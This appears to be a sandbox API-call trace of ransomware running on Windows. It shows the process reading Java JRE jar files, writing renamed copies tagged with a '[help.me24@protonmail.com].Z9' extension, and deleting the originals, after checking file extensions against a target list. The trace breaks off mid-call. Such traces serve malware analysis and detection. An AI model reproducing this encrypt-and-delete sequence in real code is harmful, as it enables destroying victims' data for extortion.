	[0097.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0097.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.781] lstrlenW (lpString=".doc") returned 4
	[0097.781] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.781] lstrlenW (lpString=".docx") returned 5
	[0097.781] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0097.781] lstrlenW (lpString=".pdf") returned 4
	[0097.781] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.781] lstrlenW (lpString=".xls") returned 4
	[0097.781] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.781] lstrlenW (lpString=".xlsx") returned 5
	[0097.781] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0097.781] lstrlenW (lpString=".ppt") returned 4
	[0097.781] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.781] lstrlenW (lpString=".zip") returned 4
	[0097.781] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.781] lstrlenW (lpString=".rar") returned 4
	[0097.781] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.781] lstrlenW (lpString=".bz2") returned 4
	[0097.781] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.781] lstrlenW (lpString=".7z") returned 3
	[0097.781] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.781] lstrlenW (lpString=".dbf") returned 4
	[0097.781] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.781] lstrlenW (lpString=".1cd") returned 4
	[0097.781] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".jpg") returned 4
	[0097.782] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".doc") returned 4
	[0097.782] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.782] lstrlenW (lpString=".docx") returned 5
	[0097.782] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0097.782] lstrlenW (lpString=".pdf") returned 4
	[0097.782] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString=".xls") returned 4
	[0097.782] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString=".xlsx") returned 5
	[0097.782] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0097.782] lstrlenW (lpString=".ppt") returned 4
	[0097.782] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".zip") returned 4
	[0097.782] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString=".rar") returned 4
	[0097.782] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.782] lstrlenW (lpString=".bz2") returned 4
	[0097.782] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.782] lstrlenW (lpString=".7z") returned 3
	[0097.782] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".dbf") returned 4
	[0097.782] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".1cd") returned 4
	[0097.782] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0097.782] lstrlenW (lpString=".jpg") returned 4
	[0097.783] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.783] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.783] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0097.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.783] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=280161) returned 1
	[0097.783] CloseHandle (hObject=0x350) returned 1
	[0097.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20
	[0097.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.783] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.784] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0097.784] GetLastError () returned 0x0
	[0097.784] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x44661, lpOverlapped=0x0) returned 1
	[0097.816] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x44670, lpOverlapped=0x0) returned 1
	[0097.862] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.862] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0097.862] SetEndOfFile (hFile=0x2b8) returned 1
	[0097.862] CloseHandle (hObject=0x2b8) returned 1
	[0097.863] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.863] SetEndOfFile (hFile=0x350) returned 1
	[0097.866] CloseHandle (hObject=0x350) returned 1
	[0097.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.866] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0097.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.866] lstrlenW (lpString=".doc") returned 4
	[0097.866] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.866] lstrlenW (lpString=".docx") returned 5
	[0097.866] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0097.866] lstrlenW (lpString=".pdf") returned 4
	[0097.866] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.866] lstrlenW (lpString=".xls") returned 4
	[0097.866] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString=".xlsx") returned 5
	[0097.867] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0097.867] lstrlenW (lpString=".ppt") returned 4
	[0097.867] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString=".zip") returned 4
	[0097.867] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString=".rar") returned 4
	[0097.867] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString=".bz2") returned 4
	[0097.867] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.867] lstrlenW (lpString=".7z") returned 3
	[0097.867] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString=".dbf") returned 4
	[0097.867] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString=".1cd") returned 4
	[0097.867] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString=".jpg") returned 4
	[0097.867] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.867] lstrlenW (lpString=".doc") returned 4
	[0097.867] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.867] lstrlenW (lpString=".docx") returned 5
	[0097.867] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0097.867] lstrlenW (lpString=".pdf") returned 4
	[0097.867] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString=".xls") returned 4
	[0097.867] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.867] lstrlenW (lpString=".xlsx") returned 5
	[0097.867] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0097.868] lstrlenW (lpString=".ppt") returned 4
	[0097.868] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.868] lstrlenW (lpString=".zip") returned 4
	[0097.868] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.868] lstrlenW (lpString=".rar") returned 4
	[0097.868] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.868] lstrlenW (lpString=".bz2") returned 4
	[0097.868] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.868] lstrlenW (lpString=".7z") returned 3
	[0097.868] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.868] lstrlenW (lpString=".dbf") returned 4
	[0097.868] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.868] lstrlenW (lpString=".1cd") returned 4
	[0097.868] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0097.868] lstrlenW (lpString=".jpg") returned 4
	[0097.868] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.868] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.868] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0097.868] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.869] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=32699) returned 1
	[0097.869] CloseHandle (hObject=0x350) returned 1
	[0097.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0097.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.869] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.869] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0097.870] GetLastError () returned 0x0
	[0097.870] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0097.896] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0097.898] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.898] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xee, lpOverlapped=0x0) returned 1
	[0097.899] SetEndOfFile (hFile=0x2b8) returned 1
	[0097.899] CloseHandle (hObject=0x2b8) returned 1
	[0097.901] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.902] SetEndOfFile (hFile=0x350) returned 1
	[0097.903] CloseHandle (hObject=0x350) returned 1
	[0097.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.903] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
	[0097.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.903] lstrlenW (lpString=".doc") returned 4
	[0097.903] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.903] lstrlenW (lpString=".docx") returned 5
	[0097.903] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0097.903] lstrlenW (lpString=".pdf") returned 4
	[0097.903] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.903] lstrlenW (lpString=".xls") returned 4
	[0097.903] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.903] lstrlenW (lpString=".xlsx") returned 5
	[0097.903] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0097.903] lstrlenW (lpString=".ppt") returned 4
	[0097.903] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.903] lstrlenW (lpString=".zip") returned 4
	[0097.903] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".rar") returned 4
	[0097.904] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".bz2") returned 4
	[0097.904] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.904] lstrlenW (lpString=".7z") returned 3
	[0097.904] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString=".dbf") returned 4
	[0097.904] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString=".1cd") returned 4
	[0097.904] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString=".jpg") returned 4
	[0097.904] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString=".doc") returned 4
	[0097.904] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.904] lstrlenW (lpString=".docx") returned 5
	[0097.904] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0097.904] lstrlenW (lpString=".pdf") returned 4
	[0097.904] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".xls") returned 4
	[0097.904] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".xlsx") returned 5
	[0097.904] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0097.904] lstrlenW (lpString=".ppt") returned 4
	[0097.904] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.904] lstrlenW (lpString=".zip") returned 4
	[0097.904] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".rar") returned 4
	[0097.904] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.904] lstrlenW (lpString=".bz2") returned 4
	[0097.905] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.905] lstrlenW (lpString=".7z") returned 3
	[0097.905] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.905] lstrlenW (lpString=".dbf") returned 4
	[0097.905] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.905] lstrlenW (lpString=".1cd") returned 4
	[0097.905] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0097.905] lstrlenW (lpString=".jpg") returned 4
	[0097.905] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.905] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.905] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0097.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.905] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=251327) returned 1
	[0097.906] CloseHandle (hObject=0x350) returned 1
	[0097.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0097.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.906] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.906] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.906] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.906] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0097.907] GetLastError () returned 0x0
	[0097.907] ReadFile (hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0) 

Thread:
	id = 20
	os_tid = 0x11e0

	[0070.130] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3162df8
	[0070.130] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3172e00
	[0070.131] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559518
	[0070.131] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e048
	[0070.131] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559530
	[0070.131] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x3c36020
	[0070.134] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559548
	[0070.134] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559548, Size=0x20) returned 0x53edd8
	[0070.134] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559548
	[0070.134] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559548, Size=0x20) returned 0x53eef0
	[0070.134] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0070.134] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0070.134] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x0) returned 1
	[0070.134] lstrlenW (lpString="kernel32.dll") returned 12
	[0070.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53edd8 | out: hHeap=0x500000) returned 1
	[0070.134] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0070.134] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eef0 | out: hHeap=0x500000) returned 1
	[0070.134] Sleep (dwMilliseconds=0x64) 
	[0070.343] lstrcmpiW (lpString1=".cmd", lpString2=".Z9") returned -1
	[0070.343] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
